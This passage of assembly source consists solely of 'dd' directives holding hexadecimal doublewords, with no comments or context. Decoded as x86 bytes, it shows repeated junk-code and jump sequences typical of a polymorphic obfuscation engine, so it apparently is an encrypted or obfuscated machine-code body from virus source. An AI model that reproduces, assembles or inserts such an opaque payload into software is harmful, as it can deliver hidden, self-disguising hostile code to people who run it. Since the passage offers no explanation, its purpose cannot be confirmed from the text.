		dd 44069C0Ch, 24068C04h, 1022C89Eh, 31E19AC7h, 573020EAh
		dd 6272F259h, 11BF550Eh, 0E1DACF6Ch, 5A774D0Ch,	95DDCF6Ch
		dd 17CBC394h, 0E075C8EFh, 422C886h, 5DE197A5h, 506B40Ch
		dd 84068C04h, 4022C899h, 18E19FC2h, 0EBAEB148h,	97A0C1F2h
		dd 0B9A99B79h, 5CBD914h, 0DAA745DFh, 0EA25241Ah, 43CA9F85h
		dd 22C885h, 997D0BDAh, 8926ECF9h, 1F26ECC1h, 4522C885h
		dd 2E890BD2h, 0A3C8C530h, 0CF2D6A64h, 2022C894h, 1022C46Ch
		dd 0BE18285h, 0CCD14CB9h, 3133BD0Fh, 6BF2371Dh,	83CA9E85h
		dd 6022C885h, 0A97C0BDBh, 9126ECF1h, 1126ECC1h,	4222C885h
		dd 0FF9D0BD3h, 115AA81Ch, 0A197F9D3h, 1A2521AFh, 3D5B4D0Ch
		dd 1048CF6Ch, 82120D3h,	5A02C885h, 76AB9646h, 45A3CCA1h
		dd 8037CCA1h, 1664C885h, 21904246h, 0F9348D08h,	9DA74582h
		dd 0B252452h, 222CE0Ch,	94B74385h, 0D02521B1h, 42A3C7D7h
		dd 7722C885h, 14AB92DAh, 5A22A2A1h, 422CB6Dh, 0C178E885h
		dd 257641DFh, 0A4664981h, 4022DC81h, 0E3708A85h, 0E197433Ah
		dd 0F72521A7h, 0ED228910h, 5222A282h, 122CB6Dh,	437AE885h
		dd 646641DDh, 4664981h,	1022D381h, 0CB728885h, 82701DCBh
		dd 5FB9E55Dh, 120468Ah,	4FA9C885h, 4048100Eh, 202120D7h
		dd 4A02C885h, 5CAB9246h, 40A3CCA1h, 235CCA1h, 5360C885h
		dd 5AC9AB46h, 0B2A3AE32h, 0A5AF2441h, 17CE1F0Ch, 0E070C8EFh
		dd 422C886h, 58E192A5h,	5069C0Ch, 84068C04h, 4022C890h
		dd 0F7E19AC7h, 0A5019B89h, 0FCBC2A8h, 54F443DBh, 6AB390Eh
		dd 5322A2A1h, 8022CB6Dh, 8378E885h, 47641DFh, 34664981h
		dd 822D081h, 0C7708A85h, 0F8A81F36h, 10CA5B81h,	4B22C885h
		dd 72EFDBA5h, 3C7A805Fh, 36E61032h, 3574C435h, 422CE6Ch
		dd 0B9DEC685h, 58DB1BFBh, 7FDB5BD5h, 0A9064110h, 7122A282h
		dd 1022CB6Dh, 0CB7BE885h, 206E41DCh, 26664981h,	122D481h
		dd 43738985h, 54E71EE2h, 0B6E68033h, 759FFB49h,	812521B1h
		dd 0ED229100h, 22B2182h, 0C912C885h, 66BB13C4h,	87D86F4Dh
		dd 0C9081900h, 1022C782h, 5D22A285h, 422CB6Dh, 0C17FE885h
		dd 254E41D8h, 0A4664981h, 4022D481h, 0E3778D85h, 0DFDEEA94h
		dd 43626FBBh, 89974142h, 0FD2521A9h, 0E8229110h, 89ADC782h
		dd 4F22C885h, 2022CB0Bh, 0EF9DC785h, 5AFE1D3h, 5A25218Bh
		dd 24234D0Ch, 0CFA3CF6Ch, 0F5A56EEFh, 53774D0Eh, 0BDAFCF6Ch
		dd 17CE2339h, 85238B0Ch, 0ED35F538h, 94974582h,	0B825246Eh
		dd 8022C8B6h, 73C96C76h, 2022C83Dh, 64E2C385h, 83A0A86h
		dd 8068C0Eh, 22220D6h, 8079C885h, 8022DF46h, 647E4185h
		dd 4664195h, 279A9391h,	0F722797Fh, 20664365h, 68C23781h
		dd 2CA9B85h, 0A022C885h, 0C9790BDEh, 0A126ECD9h, 0B26ECC1h
		dd 4B22C885h, 7A650BD6h, 8815DD42h, 0CBA2C9DFh,	0D022A27Bh
		dd 4022CB6Dh, 0E37AE885h, 346641DDh, 2C664981h,	422D081h
		dd 0C1728885h, 71B5D04Fh, 0EA433089h, 43CA9A85h, 22C885h
		dd 99780BDFh, 8926ECD1h, 1026ECC1h, 4022C885h, 0F99B0BD7h
		dd 57AB7508h, 0CDAFCF69h, 27CE24CFh, 3689FD3Dh,	69A7FB1Dh
		dd 2F2521B4h, 0E5CB094Ah, 45CBD043h, 209DA130h,	8517CBD0h
		dd 388B2BBDh, 82ED388Dh, 0D51B56C8h, 0F305E983h, 0E8D98BA4h
		dd 9, 5B3B06E5h, 45FE770Ah, 0D5B50BDAh,	5A07E92Dh, 89E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 61F90F92h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 83C35040h, 8B0FE2AAh,	8, 28C0Fh, 61600000h
		dd 0BE9h, 2D81FB00h, 0E5EE814Ah, 0FFDAD48h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0AF55B484h, 88B0626Ch, 5E9h,	0C0F8FE00h, 0C08B3784h
		dd 0B70FF560h, 0BD8361F3h, 7E918A5h, 83097500h,	0E91A45BDh
		dd 19740007h, 0C08B5350h, 4B9B8h, 0F5858900h, 8D07E920h
		dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h
		dd 4B9B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 0BE958h, 52CB0000h, 0CA55E1ECh, 0B797E517h, 56006AEDh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0D30AEFD4h, 80605D45h, 890FBDEBh, 6,	890Fh, 8B610000h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BE9C674h, 21000000h, 1C6F2DE4h,	0C702EF3Ch
		dd 516029E9h, 0F596160h, 4061FEB7h, 8166C18Bh, 0EBE2BDDFh
		dd 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 67489FBBh, 48D63052h, 2E4D8D29h
		dd 0BF0F07E9h, 61858DF3h, 0E907E908h, 12h, 973EBF26h, 94AB6C46h
		dd 0A47C0A5Eh, 7C932BC7h, 0F90039Fh, 81h, 8C0F5000h, 4
		dd 61595260h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 6ABF7Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0A0C35343h,	2DABB33Ch, 6860Fh
		dd 0B5890000h
		dd 7E92FE9h, 34E68166h,	8B006AD5h, 0E90B55BDh, 0BA858D07h
		dd 6A07ECEFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 6FF4C357h, 958949FDh, 7E91E0Dh
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7E39C353h, 66C042C1h, 0BF1F2BBFh
		dd 2E961E44h, 85AABE50h, 4893502h, 0DE8B6024h, 55B50157h
		dd 5E07E919h, 6A006A61h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 5B25C352h, 641AC4CCh
		dd 791659B2h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 9582EFC3h, 62774E95h, 666010D9h
		dd 932FF281h, 61F8BF0Fh, 0FB995FFh, 0FE907E9h, 0F2000000h
		dd 94C99727h, 6B8E68D4h, 0CDCCF251h, 9D8D95E5h,	7ECD72Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E0C35343h
		dd 6840Fh, 0BD8B0000h, 7E90AF1h, 0B58BD3FFh, 7E9124Dh
		dd 0F9D85FFh, 0B52307E9h, 7E919B9h, 6A0E9h, 0E800h, 815D0000h
		dd 0ECEFC4EDh, 0D1BD8107h, 0D007E92Ah, 0F000007h, 12786h
		dd 13E800h, 0F73D0000h,	4EB5558h, 864532C6h, 9BB535C9h
		dd 0AB1D3E85h, 0F78B6667h, 0D99D8B5Fh, 307E91Dh, 0E91539B5h
		dd 0E38107h, 0B000001h,	0B1850FDBh, 83000000h, 0ECEDE3BDh
		dd 840F0007h, 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B0C35545h, 8CD0FA7Eh, 0DB5B58Bh, 0FE907E9h
		dd 94000000h, 698A042Fh, 0D2A33744h, 9FF87342h,	73E96FEFh
		dd 0E9000000h, 0Ch, 0FFE8327Bh,	43D59978h, 0A5505247h
		dd 0EDE385C7h, 107ECh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0B58B93C3h, 7E918D1h
		dd 31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 66F5E098h, 0A24EC781h, 0EDE385C7h
		dd 7ECh, 0BE660000h, 9D8DC6C5h,	7E91DD9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0BBC35646h, 0F1B70FFFh
		dd 0FEFF2381h, 9D01FFFFh, 7E93145h, 6ADB8C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9A7BC357h, 0DCC96F80h, 2890Fh, 0F28B0000h, 0F04C3F6h
		dd 8684h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A5BD2957h, 0FF07E90Bh, 0E9005995h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9D89A1F3h, 7E924D5h, 76BCBF66h, 4ABF6650h
		dd 24048998h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	61C35343h, 36EBAFEAh, 0F6570A6h, 682h, 35B58B00h
		dd 0E907E921h, 36Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 48C35545h, 0C27CA811h, 0BF48C73Bh, 0B0FCE0h
		dd 70E6F18Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	59C35747h, 7F551C4h, 0B58BD71Fh, 7E911B1h, 5E971E4h
		dd 6D000000h, 69220CDCh, 6AD8B60Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4BE4C351h
		dd 0D3DE31CBh, 6BAh, 0F28B6600h, 0E8C1C38Bh, 9BD2904h
		dd 6607E932h, 0B58BE2F7h, 7E90065h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0AEC132C3h
		dd 89F18B50h, 8B66241Ch, 0D1B5FFF2h, 5107E92Ah,	0FF5F5F50h
		dd 0E90C3195h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5300B0EFh, 834027BEh
		dd 70E65F17h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	24C35343h, 6CA3F97Bh, 85B589F6h, 0E407E92Ah, 0D6816671h
		dd 8C0F9078h, 6, 0B5BD03h, 613C07E9h, 22C830Fh,	0B58B0000h
		dd 7E9298Dh, 0E8D8B60Fh, 10h, 0ABFDF12Eh, 0E6189387h, 28342259h
		dd 12EF0C77h, 6BA5Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 910F7C3h, 8C0E41A5h
		dd 72DABF66h, 0C38B4EFAh, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8BDFC353h
		dd 0BEF5BE6Ch, 9C4B37DCh, 1F7D8531h, 0FB8B07E9h, 0FE2F766h
		dd 0D82BF7B7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	3C35343h, 0F1EA4BE5h, 3175B589h, 9D8907E9h, 7E93211h
		dd 0D82BFC58h, 170880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 59D238C3h, 7B9F6h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B6CCEDC3h, 9EC76190h, 8BFA43F2h, 0E90995B5h, 6E807h
		dd 4BF40000h, 760AE3Bh,	835F5F57h, 0B58B00C1h, 7E92395h
		dd 860FD93Bh, 102h, 0F021CE81h,	8C667A05h, 55006AD9h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 543FBA4Fh, 0F6CB7D5Bh, 840F04C1h, 0A2h, 5995FFh, 6A07E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 216A0C3h, 6AC32B5Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0BD6FC352h,	8343D50h
		dd 860F0000h, 52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 34C35343h, 801AA84Fh,	8B6D06EFh, 54E9F2h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 890F2FC3h, 6, 0AAD8589h, 0C08B07E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EAC35242h, 49EE3D7Fh
		dd 88CFF61Ch, 17CFBFAFh, 0C38B1643h, 8C0FD88Bh,	6, 7E5BD29h
		dd 9BE07E9h, 0C7146F9Eh, 0E9201985h, 76097F07h,	6AC08B19h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 219FC356h, 0BA4B1553h, 8BE05A83h,	0E91521B5h
		dd 0D6816607h, 0BD815067h, 7E92AD1h, 7D0h, 3C850Fh, 0F600000h
		dd 68Fh, 6D850B00h, 0F07E90Ch, 68Ah, 8D0F00h, 61000000h
		dd 2AD185FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0B5FFE8C3h, 7E92AD1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 76C35646h, 890A2B80h
		dd 0E92141BDh, 3195FF07h, 9007E90Ch, 345678B8h,	53006A12h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0D40022ADh, 3FDECE81h, 9D8D3223h, 7ECF5FEh, 0FFF98CE9h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 85DDAE2Eh, 0EA474BC0h, 0FD9D0995h, 8B07E908h
		dd 6AC18BF9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FA89C351h, 8D893E81h,	7E907DDh
		dd 104EBh
		dd 0B5890000h, 7E90289h, 1A9D9D89h, 858D07E9h, 7E90861h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B8C35747h
		dd 329E8770h, 49BD2B8Dh, 8907E901h, 0E90E3DBDh,	0CE99007h
		dd 81000000h, 60C0B431h, 0BA797319h, 501D2BB9h,	0D8D0Fh
		dd 52500000h, 6E3EBF66h, 8B66310Fh, 90585AF2h, 1B558D89h
		dd 6A07E9h, 0DEF78166h,	6A006A2Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 71F4C355h
		dd 5D557219h, 0B58B1569h, 7E91991h, 0F1B70F51h,	0FF858D5Fh
		dd 6A07ECF7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FFCC353h, 1589h, 10E900h, 511A0000h
		dd 8EEB87F3h, 0D6548CC4h, 0CC95C304h, 9E9FE7Eh,	98000000h
		dd 0E695FDA3h, 0B2DC8BCh, 0BF05C083h, 60916DA5h, 8E990h
		dd 77350000h, 0E0E00893h, 90502708h, 25F9B589h,	6A07E9h
		dd 800F006Ah, 19h, 10E8h, 37563600h, 4B21A715h,	51B001D6h
		dd 97DC9EC9h, 0F78B6624h, 0B995FF5Eh, 6A07E90Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 81D3C350h, 51E7BECEh, 2C9D8D7Dh, 6007ECD7h, 8ADE8B66h
		dd 0D3FF61CAh, 85FFFB8Bh, 7E90F9Dh, 12BB3EBEh, 0ECCE91Bh
		dd 0E80000h, 5D000000h,	0F809ED81h, 6A07ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4D051BC3h
		dd 0DDBD8BD3h, 8107E916h, 0E92AD1BDh, 7D007h, 43860F00h
		dd 66000001h, 9D8BFA8Bh, 7E9181Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0B4C35141h,	0F88B66EAh, 0E381FA8Bh
		dd 100h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	0C4C35646h, 0BCF87AEFh,	0ADB58B9Ah, 0B07E91Eh
		dd 7B850FDBh, 0E9000000h, 8, 0A7C30E0Eh, 69EC9A8Fh, 88BD83F8h
		dd 7ECF6h, 32840Fh, 0E9600000h,	0Eh, 1C479D2Bh,	8102D994h
		dd 897B9476h, 0BD0B1838h, 7E90B2Dh, 50E961h, 800F0000h
		dd 0Ch,	0F6816660h, 0E0BBEC37h,	6137DE1Ch, 0F68885C7h
		dd 107ECh, 0B58B0000h, 7E91935h, 29E9h,	0FE8B6600h, 10E8h
		dd 0D7933400h, 0B87DF66Ah, 9D07D9Eh, 4536B865h,	85C75F42h
		dd 7ECF688h, 0
		dd 34D9BD8Bh, 9D8D07E9h, 7E9181Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 4FC35343h, 0BEF30539h, 7864FE87h
		dd 0FEFF2381h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 8FB20AC3h, 2E4BD9FFh, 1855BD8Bh
		dd 8C6607E9h, 11E8F5DBh, 26000000h, 0C2CB6678h,	0E336EEC0h
		dd 0DB664898h, 6E25D64h, 0BE8h,	0D4173300h, 1DDE930Dh
		dd 0B652650Bh, 2AC99D29h, 5F5F07E9h, 0F04C3F6h,	5E84h
		dd 5E900h, 0A5FC0000h, 0FF3CB1C6h, 0E9005995h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0D915A9D2h, 3D8589A1h, 0E907E901h, 7, 3104AC40h, 506A7FA1h
		dd 7E8h, 0D969C900h, 765B778Dh,	950EFFBEh, 4895F7Fh, 998D8924h
		dd 0E907E921h, 54Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 5BC35343h, 0D5B503B0h, 0B007E900h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 6FA4A4CBh, 8362F16Dh, 18BF6642h, 0E970E624h,	0Dh, 0A9286687h
		dd 24101CA3h, 8279EBD8h, 6A71E4AFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4926C353h
		dd 185DBD8Bh, 0BD2907E9h, 7E91535h, 31D8B60Fh, 0E9316D8Dh
		dd 0BE807h, 5C340000h, 0A55B9C1Bh, 45B67BCBh, 19BD33C2h
		dd 5F07E916h, 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B509E29Ah, 7E92E95h
		dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 90BFB8C3h, 268951F0h, 2D4DB529h, 0BD8B07E9h
		dd 7E92EE9h, 6A04E8C1h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0A406C355h,	11E931h
		dd 229B0000h, 7EDAC0EEh, 888B8BFCh, 0BE41B53Bh,	66DC6D70h
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B23D7BC3h, 8C0F2198h, 6,	2C3DBD8Bh, 0D82B07E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 13C35646h
		dd 5A11EAEBh, 8B0F6050h, 0
		dd 7E9h, 0C8805D00h, 3276EB1h, 241C8961h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0E5C35343h, 0F5D8C5Bh
		dd 684h, 0B5BD0300h, 8907E91Eh,	0E934E1B5h, 0D1B5FF07h
		dd 6A07E92Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8963C350h, 0E90C2185h,	3195FF07h
		dd 0F07E90Ch, 0B0F6B7h,	6A70E6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 280296C3h, 0E46D4825h
		dd 7A1BD8Bh, 71E407E9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 53C35646h, 25ADBD89h,	8D8907E9h, 7E929A9h
		dd 830F613Ch, 2E6h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 2DC35545h, 0E681745Bh, 4CB9C363h, 1E4D9509h
		dd 0B60F07E9h, 53006AD8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 7A183783h, 2E0315FBh
		dd 295039A9h, 0E929E1B5h, 6BA5F07h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0A183C350h, 0CD410219h, 248D9531h, 0C38B07E9h, 0F1DBD8Bh
		dd 0E8C107E9h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 40468346h, 813E21F0h
		dd 759372C6h, 0E2F7663Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 15C35747h, 0A9934614h, 0D30AEFD4h, 6AD82Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 4F505CC3h, 7C637014h, 11E84Fh, 7ADB0000h, 0A725E15Ch
		dd 0D3AD3B1h, 113C9EA9h, 5EF9FC94h, 58F1B70Fh, 8860Fh
		dd 810F0000h, 2, 0D82B6160h, 1B0880Fh, 0BD8B0000h, 7E92B5Dh
		dd 7B9h, 28E0F00h, 8B000000h, 0C183FAh,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0B5C35141h, 0F1B70F27h
		dd 860FD93Bh, 172h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0FAC35545h, 0CF81105Eh, 0EBD762Eh, 0CE9h
		dd 0D63800h, 0E6EEB078h, 0E0171F47h, 0D98C66D9h, 0C1F6FA8Bh
		dd 4840F04h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F68FC350h,	820ABC88h
		dd 5995FFh, 8B6607E9h, 6A5BFEh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 2B8F07C3h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 6634DFE8h, 0BE52F88Bh, 337EA122h, 0F5BD8B5Fh, 3D07E90Eh
		dd 834h, 81860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F69DE8C3h, 0BE66298Eh
		dd 83E99B7Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 899EC356h, 0E913A5BDh
		dd 7E907h, 72960000h, 8F4FD11Ch, 12E8B2h, 0DCDC0000h, 5F0641EDh
		dd 391406B4h, 85A922CCh, 0E1A13BD4h, 7E8h, 2150EE00h, 0E31E249Eh
		dd 0B7DD3ABEh, 8B5E5F57h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DB8D755Eh
		dd 962D1545h, 0FAC0C781h, 0C38B0BBBh, 6AD88Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 9656C7C3h, 27AF56FEh, 8923AA8Ah, 0E902B1BDh,	0D985C707h
		dd 5107E91Dh, 6A37CA5Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 3F68C351h, 524A6432h
		dd 0F0FC3D55h, 20319589h, 0C08B07E9h, 81F7B70Fh, 0E92AD1BDh
		dd 7D007h, 2A850F00h, 89000000h, 0E9089D8Dh, 0D185FF07h
		dd 6A07E92Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0F96AC356h, 0D1B5FF9Ch, 6A07E92Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FF78C351h, 0E90C3195h, 6A409007h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 1F58C352h, 0AED2773Eh, 9D897399h, 7E90045h, 0C62EC9BEh
		dd 95BD831Fh, 7E926h, 8F840Fh, 0BD8B0000h, 7E909ADh, 26A9BD83h
		dd 0F0007E9h, 7C84h, 95BD8900h,	0FF07E916h, 0E9269595h
		dd 0F1BF0F07h, 0BF78B66h, 62840FC0h, 0F000000h,	68Dh, 218D2900h
		dd 8D07E90Bh, 0E94D5A8Dh, 98D3107h, 0B807E91Eh,	5, 0F38B6660h
		dd 8B0F51h, 5F000000h, 6AE1FF61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 72A9C351h
		dd 751C645h, 0EE960FBh,	20000000h, 0FA4476B1h, 0AE3E243Eh
		dd 316D3ADh, 49BD8321h,	7E926h,	5A5840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E9E00DC3h, 12h, 898E9666h, 19CBF3D5h, 363FCC04h, 3E1B5682h
		dd 0BD832F5Bh, 7E926A9h, 64840F00h, 0E8000005h,	5, 6F941A54h
		dd 5EF78B1Dh, 0AB18D8Dh, 8B6607E9h, 8401C7F9h, 8944B27Ch
		dd 0E9263985h, 0CB018107h, 6A1499CFh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 338EC351h
		dd 6CBE660Fh, 0E381BFD1h, 41C77A8Bh, 706B3404h,	6DBD8BCEh
		dd 8107E926h, 0D7100441h, 0BD8B31D6h, 7E91261h,	6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8D7828C3h, 0E90AB185h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 92F9D8F2h
		dd 0F98BD9C9h, 28E0Fh, 0FE8B0000h, 13E3BF50h, 4896DFCh
		dd 17CABE24h, 95FF2822h, 7E92649h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 23C35747h, 0F8025906h, 0AB18D8Dh
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0E027C5C3h, 0E6B91FC9h, 1C7E8h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0EDB5C350h, 0A17723C0h, 441C7h, 0F000000h
		dd 287h, 0BF28B00h, 0B9840FC0h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1CD3C355h
		dd 87CAE560h, 6249DC98h, 13E9F5h, 2FAF0000h, 7BB15F29h
		dd 0E73F0334h, 0C2A45910h, 1DEB0C53h, 5A8D8DB6h, 6A07E94Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 26BDC353h, 2271B533h, 816607E9h, 0B89A5EE6h
		dd 5, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Bh
		dd 0ADC35242h, 2B79E2AEh, 0BF3DEF5Dh, 42DB5266h, 6AE1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C64297C3h, 0AB18D8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8BB34AC3h, 0E92145BDh
		dd 7C01C707h, 6644AA72h, 181F78Bh, 1499CFCBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 64C35545h, 0B401F2C4h
		dd 0BD012C10h, 7E91641h, 3C0441C7h, 89CE7875h, 0E930819Dh
		dd 4418107h, 31D6D710h,	6890Fh,	85290000h, 7E91CE5h, 1EBE006Ah
		dd 8D77DD57h, 0E90AB185h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 666090E0h
		dd 500C11B8h, 615B5B51h, 8B669050h, 4995FFF2h, 8D07E926h
		dd 0E90AB18Dh, 0C7F18B07h, 1, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FF6E19C5h
		dd 0E7555CAEh, 8BF8B70Fh, 0E923BDBDh, 68E0F07h,	1000000h
		dd 0E923ED9Dh, 441C707h, 0
		dd 840FC00Bh, 85h, 8DFA8B66h, 0E94D5A8Dh, 8E907h, 73C40000h
		dd 3B021BBAh, 5B8B507h,	6A000000h, 3E85200h, 20000000h
